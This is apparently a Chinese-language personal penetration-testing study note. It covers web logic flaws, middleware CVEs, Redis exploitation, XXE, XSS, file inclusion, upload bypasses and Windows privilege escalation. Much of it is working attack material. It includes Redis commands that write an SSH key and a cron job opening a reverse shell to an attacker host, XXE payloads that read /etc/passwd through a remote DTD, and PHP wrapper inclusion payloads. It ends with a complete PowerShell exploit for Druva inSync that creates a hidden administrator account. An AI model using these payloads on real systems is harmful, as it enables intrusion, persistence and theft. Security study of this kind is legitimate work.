以PHP为例子网站开发

若某功能点代码中以$a=$_GET[‘x’]; 方式接受数据,只有提交时以GET提交才可以。

$_request[]:接收所有方式,包括get的请求和post请求

cookie存储在本地客户端的,浏览器删除记录就会消失

seesion存储在服务器的服务端,浏览器关闭就会消失,再建立就会变成新的

假如是 include ‘config.php’接收表单的账号密码

$user=$_POST[‘username’];

$paa=$_POST[‘password’];

$conn=mysqli_connect(DB_HOST,DB_USER,DB_PASS,DB_NAME); //服务端连接数据库

$sql=”select * from admin where username=’$user’ and password=’$pass’ “; //拼凑成查询语句,用户账号密码从POST获取

$data=mysqli_query($conn,$sql); //服务端登录成功后,通过sql语句去查询相关内容

if(mysqli_num_rows($data)>0){ //若成功查询,则会有行数,即大于0,若查询失败则为空值

echo “<script>alert(‘成功’)”;

header(‘Location:index.php’); //跳转相应的网页

exit();}


以index.php为例子,很多页面需要登录才能访问,若每一页的代码中都需要连接数据库验证,则会极大程度消耗资源,因此引申出的未授权问题以及cookie的使用:



$data=mysqli_query($conn,$sql);  //服务端登录成功后,通过sql语句去查询相关内容

if(mysqli_num_rows($data)>0){    //若成功查询,则会有行数,即大于0,若查询失败则为空值
$expire = time() + 60*60*24*30;//一个月过期
setcookie('username',$md5($user),$expire.'/');
setcookie('password',$md5($pass),$expire.'/');
echo "<script>alert('成功')"; 

header('Location:index.php');  //跳转相应的网页

exit();}

上述代码绿色部分为使用cookie,于是,需要授权的页面验证cookie值就可以了,如下:

if ($_COOKIE[‘username’]==’xx’ and $_COOKIE[‘password’]==’xx’){
} //服务器服务端验证cookie

cookie是凭据,除非删除或者设置为空,不会消失。仅通过cookie鉴定权限存在极大安全隐患,因此使用seesion

session:

是用session的情况下,浏览器的cookie部分信息显示如下图:

session保存在服务器的服务端,更加安全。


在存在登录功能的页面通常攻击者采用暴力破解的方式猜解密码

<?php // 启动会话 session_start(); // 检查会话中是否已经存在 ‘token’,如果没有则创建一个新的令牌 if (!isset($_SESSION[‘token’])) { $_SESSION[‘token’] = bin2hex(random_bytes(32)); // 生成一个安全的随机令牌 } // 现在可以在会话中访问 $_SESSION[‘token’] ?>

使用 token 防止暴力破解、重放攻击是一种常见的安全措施,它主要通过以下步骤来实现:

  1. 生成 Token: 在用户进行登录或其他敏感操作之前,服务器会生成一个唯一的 token,并将其存储在服务器的会话或数据库中,同时将 token 发送到客户端(通常是浏览器)通过“检查”可以看到token。
  2. 验证 Token: 当用户提交登录请求时,服务器会要求客户端发送之前生成的 token。服务器会对比客户端发送的 token 与存储在服务器端的 token 是否一致。这是关键,使用bp重发器进行暴力破解,每发一次包服务端都会更新token。若手动则可以正常爆破,因为手动爆破下浏览器每次的token也会跟着改变。

new逻辑漏洞

一、越权

方向:1、垂直越权;2、水平越权 ;3、未授权/无级别用户

测试:

1、注册一个合法用户

2、修改用户密码时抓包,修改用户名

3、若成功,发生越权。

未授权:登录后,修改密码时抓包,将cookie删去,若还能执行,则存在未授权漏洞。

难点:判断数据包中与身份相关的字段,修改尝试越权。

打包下载js代码:

工具:packerfuzzer

python .\packerfuzzer.py -u https://x.x.x.x/xxx/xx

支付类型逻辑漏洞:

1、修改价格

2、修改数量

3、替换支付:以A的价格去买B的订单。先生成A的订单但是不支付,相当于修改的产品的其他信息。

优惠卷测试方式:盗用/复用:
盗用:算出优惠券id规律
复用:重复使用优惠券id


机制验证:

验证码突破-回传显示&规律爆破

验证目标-重定向目标&重定向发送

验证逻辑-修改响应包&跳过步骤url

一、验证码:

测试:发送一个错误验证码观察响应包,可能响应包中包含正确的验证码。

爆破要求:验证码能够回显,不限制爆破次数,不限制时间。

测试:注册一个合法的用户。修改或者找回密码时,收到验证码后拦截抓包,修改数据包中的账号相关信息比如邮箱或手机号码,若放行后成功则成功修改其他用户的密码。

二、验证目标:

测试:如果数据包中有外部地址,尝试修改成vps的地址,可能验证码会发改vps中。

三、前端验证绕过响应包

测试:先按照合法流程找回密码并且观察数据包,如记住响应报文状态码都是200。然后重置另外一个用户,由于不知道验证码,先填写错误的验证码进行拦截,抓包。由于bp默认只拦截请求报文不拦截响应报文,在本次测试右键接受响应报文,将合法的报文粘贴替换到非法报文中,若成功则能重置任意用户密码。


插件、工具 验证码:

1、图片验证码-识别插件,用处:登陆爆破&接口枚举

工具:https://www.github.com/smxiazi/NEW_xp_CAPTCHA


乌云文章:

1.支付功能

支付超时:存在类似orderid 和order_userid,同步递增递减尝试遍历。

2.验证码

短信轰炸:复用验证码,替换手机号码实现短信轰炸

密码重置:正常注册一个用户,重置密码,发送验证码验证成功后,先不要输入新的密码提交,在同一个浏览器,输入被测试账号,发送验证码提交,关闭该页面。此时再在原来的重置界面刷新,观察url是否发生变化,发生变化则输入新的密码并且提交,尝试是否能够修改受害用户的密码。 //原理:cookie混淆
发现思路:找回密码流程走到提交新密码阶段后,拦截抓包查看数据细节,寻找可控参数。

安恒redteam-2(中间件)

一、Tomcat(jsp网站)

弱口令&&部署war包

Vulhub下载yml文件,在kali运行

CVE-2017-12615[put方法]
运行环境:windows 且 开启http put(put默认关闭)
影响版本:apache tomcat 7.0.0-7.0.81
影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项

CVE-2019-0232[CGIServlet命令注入]

CVE-2020-1938[AJP]

弱口令&&部署war包:通用性漏洞-实战存在

War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)

如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。
进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。

拉取镜像

Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置

环境起不来

二、Nginx

CVE-2013-4547[文件名逻辑错误]

起环境

该漏洞在文件名后面加一个空格就可以绕过(linux)

将文件名修改为xx…php[空格] 一样可以发送

通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00

接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行

可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

CVE-201707529[越界读取缓存漏洞]

先启动环境

运行poc,发现获取到了多余的缓存内容

目录穿越

原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越

此时输入../能造成路径穿越

解析漏洞

类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。

但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行

CVE-2019-11043[PHP-FPM远程代码执行漏洞]

三、Apache

CVE-2017-15715[换行解析漏洞]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

上图为环境成功运行的反馈

如下图,直接上传文件会被拦截

在数据包中加入显示

多后缀解析漏洞

CVE-2021-40438[mod_proxy SSRF]

SSI远程命令执行

CVE-20221-41773[路径穿越]

只有符合该版本并且开cgi开启或cgid开启才可能被利用

上图环境起好了

CVE-2021-42013[路径穿越]

是对cve-2017-41773的绕过

Url二次解析绕过

四、Log4j

CVE-2017-5645[反序列化]

Log4j用于控制日志传输。信息格式级别

CVE-2021044228[JNDI注入]

环境起不来

Redis

Docker pull vertigo/redis4

Docker run -p 6379:6379 vertigo/redis4

1、

redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。

利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。

  • redis主从复制getshell

原理:一个实例为主,其他示例为从,主负责写,从负责读。

条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。

工具:redis-rogue-server

Url:https://github.com/Dliv3/redis-rogue-server

命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)

Windows下redis主从复制DLL劫持Getshell

  1. 工具:https://github.com/r35tart/RedisWriteFile //利用工具
  2. 恶意dll通过webshell调用利用:

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll

  • 上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”

下面是第二步dll生成的方式:

  1. github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
  2. 编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp

Linux系统下的redis

原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。

而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。

利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能

在实际情况内网环境中,ssh可能不是22端口。

  1. 在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa

即在当前目录下生成文件。

  • 生成带有换行符的密钥并传入redis

(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt

Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx

  • Config set dir /root/.ssh/   //设置目录
  • Set dbfilename authorized_keys  //设置文件名
  • Save //保存
  • Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x

Redis写入linux计划任务

漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)

利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。

漏洞利用:连接上redis的情况下:

  1. set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n”   //反弹shell监听443端口
  2. Config set dir /var/spool/cron/
  3. Config set dbfilename root
  4. Save

若不成功,需排查原因如出网的端口可能不是80或者443

Weblogic:(jsp网站)

CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞

漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发

Weblogic 10.3.6.0存在漏洞较多

CVE-2020-14883/CVE-2020-14882组合漏洞

14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。

通过14883可以使用14882进行命令执行getshell。

jboss(jsp网站)

新xxe

危害:读取任意文件

示例:在有xxe漏洞的地方输入

<!DOCTYPE note [ <!ENTITY name “xxxxxx”> ]>
<test>&name;</test>
可以触发显示xxxxxx

存在xxe的特征:

由上图可以看出,抓包发现有一个根元素,里面有两个子元素。

如上图,先在请求体添加一段定义实体的代码:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
然后再在标签中引入xxe,如<username>&xxe;</username>

如果观察响应体,要看哪些标签是会回显的,如<username></username>之间的会回显,而<passwd></passwd>不会回显。但是其实是可以执行的,回显就应该使用带外,如dnslog

外部xxe类似,如下图

其中x.x.x.x是vps,在vps的httpd服务目录下有一个1.dtd,dtd文件是以下内容:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<!DOCTYPE test [
<!ENTITY %a SYSTEM “http://x.x.x.x/x.dtd”>
%a;
]>
然后在存在漏洞且可以回显的标签下修改&xxe //因为dtd文件里是xxe

新xss

上图插入的xss,当受害用户点击会搜集相关信息,便于攻击者进行钓鱼攻击。

xss最主要的运用方式是操作cookie:

上图是javascript中windows.document的常用方法:
document.cookie=”username=John Doe”; //创建cookie
document.write(document.cookie) //读取cookie
document.cookie = “username=;expires= xxxxxxxxx”; //删除cookie

xss分类:
反射 payload插入html代码
存储 payload插入html代码
dom payload插入javascript代码 //dom-xss 也属于反射型xss

dom:

如果xss输入时有长度限制,尝试修改前端html代码,取消长度限制。

如上图,通过img的src来使得目标服务器向攻击机请求恶意文件。原理是某些标签有提交get请求的功能。

获取到cookie后可以直接利用,如下图:

在F12的storage功能下,点击+新建n个记录,分别对name、value进行修改成cookie中的值,刷新后便以当前cookie所属的身份进入系统。但是如果网页或者服务器开启 httponly =true 则获取不了cookie

AJAX异步:用于记录键盘输入

<?php
$img_path = $_GET[‘path’];
echo ‘<img src=”‘.$img_path'”> ‘;
?>

找xss的输出点,看看是否在某些标签内部,根据标签使用特定的事件触发xss

新命令执行

示例:
如某个功能点的设计本意是执行icmp ping,若在该输入框输入 x.x.x.x & whomai 之类的命令后得到预想中的结果。

若执行命令的函数被php设置的 disable functions 禁用,则需要bypass。

system():
输出执行结果

exec():
无回显,若使其输出,仅能输出最后一行。

shell_exec():
无回显,能输出所有结果

passthru():
输出执行结果

popen():
返回一个函数指针

` `反引号:背后调用的ell_exec()函数

新文件包含

文件包含导致代码解析的原理:如php文件中包含其他文件,若其他文件中包含部分php可执行的命令,则会被执行。

可见require()和include()的区别在于require()由于程序运行立即调用,因此文件不存在必报错。

文件包含与php配置有关,其中
allow_url_fopen=on/off 是否允许打开url文件,默认是开启。因为需要远程加载js文件或者图片。
allow_url_include=on/off 是否允许引用url文件,激活以url形式fopen封装协议,可以访问url对象文件,默认是关闭的。

文件包含分为本地文件包含(占绝大多数)以及远程文件包含。

本地文件包含:
通过相对路径或者绝对路径打开并包含本地文件的漏洞。
利用条件:
php配置中 allow_url_fopen=on (在php.ini文件中配置)
用户可以动态控制变量

测试1、php代码添加上”.php“之类的代码
绕过:
1、%00截断
2、输入超长字节数据,利用系统特性进行绕过(windows256字节,linux4096字节)
3、点号绕过

远程文件包含:
绕过:
1、 ?截断:在url后加上?,根据url的特性,?后面表示参数。
2、#绕过:在url后加上%23(%23是#的url编码)

测试2、若存在本地文件包含漏洞,但无法通过上传恶意php脚本、文件,如何?
解决:借助服务器已有的文件,并且能控制其输入,比如日志文件(access_log)

正常情况下,若执行命令成功,则日志会保存在目标系统的access_log文件中,若运行失败则保存在error_log文件中。尝试包含日志中的内容触发。
日志的路径在/var/log/https/access_log或者error_log

如上图,在存在文件包含漏洞的地方,通过如?filename=/var/log/httpd/access_log请求访问日志。应该注意的是,输入的url会被浏览器进行url编码,解决办法是通过bp将代码改回正常的php命令。然而发包出现400错误,因为<?php xxx ?>有空格,不过日志会正常的接收,见下图,日志文件中完整的保存了php语句,此时就可以包含该日志文件。


但正常情况下,日志文件既大并且内容杂,可能会影响php代码的执行。

测试3、伪协议

https://www.cnblogs.com/endust/p/11804767.html //伪协议的用法大全

php伪协议事实上是支持的协议与封装协议。如上图,重点使用其中的 php:// 访问各个输入/输出流。

1、file://
由上图可见 file://协议一般情况下都可以使用,如
?path=file://c:\windows\System32\drivers\etc\hosts
限制条件:只能使用绝对路径


2、php://filter
用途:读取php源码

如上图,该伪协议为重点使用的协议,用法如下:
?path=php://filter/read=convert.base64-encode/resource=xxxxxx.php(要读取源代码的文件)

3、php://input


用途:访问请求的原始数据的只读流,将post请求的数据作为php代码执行。
使用条件:
php.ini(在/etc/php.ini)中的 allow_url_include:on
使用方法:在存在文件包含的路径下输入
?file=php://input //在请求头中输入
php执行命令如<?php phpinfo();?> //在请求体中输入

4、data://


文件包含漏洞的常出现的点:

新文件上传

测试1:mime-type检测

原理:如上图所示,部分上传功能会根据上传的文件名分配“content-type”字段,如上传gif时,content-type识别成image/gif。若前端存在检查代码看content-type字段是否合法,直接上传php会失败。但是可以先把php一句话木马命名成gif,上传时通过bp改包,将名字修改回php,可以绕过前端检测content-type功能。

测试2:文件头检测

上图罗列了常见图片格式的为文件头16进制数。
png:89 50 4e 47 0d 0a 1a 0a
jpg:ff d8 ff e0 00 10 4a 46
gif:47 49 46 38 39 61
文件头代表了文件本质,修改文件命名不会影响本来的文件头。

如上图,基于文件头检测是某些系统使用php中getimagesize()函数验证上传的图片文件是否为图片文件以及大小时候合规,比如出现在某些能上传照片的功能点中。

绕过:
方法1:
在测试1的基础上(先修改成gif,再在bp改回php)
在请求体的一句话木马之前加上“GIF89a”,伪造成gif格式的文件。(或者上传图片马。图片马制作方法可使用010 editor这类可以修改文件16进制代码的软件,在图片后写上一句话木马。)
方法2:
修改一句话木马的内容,在一句话木马前一行写上6个字符如abcdefg,上传后在bp的hex中修改这6个字符为png的文件头即 89 50 4e 47 0d 0a 1a 0a
方法3:
上传png,在bp修改请求体中的代码,只留下文件头,再加上一句话木马。

测试3:黑白名单验证

黑名单:

黑名单容易漏危险的后缀。
绕过黑名单:
1、大小写混合写。如windows系统下,如果只对php进行拉黑,写成Php可以绕过。但目前很少了。并且有一些系统会执行函数将所有字符转换为小写。
2、利用windows会过滤非法字符的特性,如文件名结尾为.或者空格时,windows会去除,因此上传文件时,使用bp在文件名后面加上一个.或者空格之类的非法字符完成黑名单绕过。
3、%00绕过:
利用条件:
php版本低于5.3.4(目前极少)
php的magic_quotes_gpc为off状态
绕过原理:%00在url编码中时null,也就是结束的意思。在文件名1.php .jpg其中php后是空格,在bp中通过hex将空格的十六进制修改为00,完成截断。

白名单:

1、解析漏洞:
apache解析漏洞:
版本apache1.x以及apche2.x
原理:apche收到请求报文后,解析上传文件按照自从右往左解析,如test.php.aaa.bbb,依然可以被当成php文件执行。
apche之所以将文件名为.php结尾的文件解析成php,是因为apache的mime.types文件中存在键值对关系。
2、配置问题导致解析:
apache的conf文件中addhandler php5.script php //只要后缀有php 都会按照php解析
apache的conf文件中addtype application/x-httpd-php .jpg //会将jpg结尾的文件按照php进行解析。因此在后渗透测试阶段留后门的时候可以进行该操作。
3、 .htaccess文件解析
.htaccess是配置文件的子配置文件,如在upload目录下存在一个.htaccess文件。。对于文件上传漏洞而言,最重要的是.htaccess对于mime类型的修改。
在upload目录下上传一个.htaccess文件,写上addtype application/x-httpd-php .jpg,并且上传以.jpg结尾的一句话木马文件。访问一句话木马文件,.jpg会当成php解析。
4、IIS6.0解析漏洞
目录解析:
存在一个/xxx.asp/xxx.jpg //高亮是一个目录的名称,在该目录下所有文件名都会按照asp进行解析。
5、IIS 7.0 / IIS 7.5 / Nginx 1.x 机畸形解析漏洞(php fast-cgi解析漏洞)
漏洞原理:fast-cgi存在路径修复的特性,如/1.txt/2.png/3.php,如果/1.txt/2.png/3.php不存在就会去掉3.php,判断是否存在/1.txt/2.png,若存在则当成/1.txt/2.png/3.php文件来解析。说白了是上传一个以shell.jpg结尾的一句话木马,但是无法被解析,此时在上传目录url下再加上/xxx.php,由于xxx.php不存在且具有解析漏洞,shell.jpg会被当成php进行解析,结果就是能成功解析php一句话木马。

测试4、编辑器漏洞

漏洞:

漏洞1:Phpcms V9.6.0任意文件写入getshell
修改抓包内容,用户必须属于新注册信息,才会显示报错 siteid=1&modelid=11&&username=hack&password=111111&pwdconfirm=111111&email=hack%40qq.com&nickname=hack&info[content]=<img src=http://192.168.1.65:9000/shell.txt?.php#.jpg>&dosubmit=1&protocol= //标黄为在vps上开启http服务,并且生成一句话木马的php文件。

提权-windows-易受攻击的软件

下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor
这条命令也不会完全转存好,要查看一下桌面,可能有安装好的易受攻击的软件。对于这些软件可以在下面网站搜搜是否存在已知的可以利用的漏洞。
https://www.exploit-db.com/
https://packetstormsecurity.com/
下图为靶机运行该命令后的效果:

(————————————————————————————-
当遇到要执行的命令在txt文件里时,windows打开powershell输入以下命令执行

  1. 打开 PowerShell 终端(命令行提示符)。
  2. 使用 Get-Content 命令读取包含脚本的文本文件。假设脚本文件名为 “script.txt”,可以运行以下命令:powershellCopy$scriptContent = Get-Content -Path "script.txt" -Raw ``` 这将读取 "script.txt" 文件的内容并将其存储在 `$scriptContent` 变量中。
  3. 然后,使用 Invoke-Expression 命令以普通用户身份执行脚本内容。运行以下命令:powershellCopyInvoke-Expression -Command $scriptContent

————————————————————————————-)

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"   //这条命令就相当以管理员权限添加一个新的具有管理员权限的用户。

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

然后以管理员身份登录cmd,选择pwnd的账号密码即可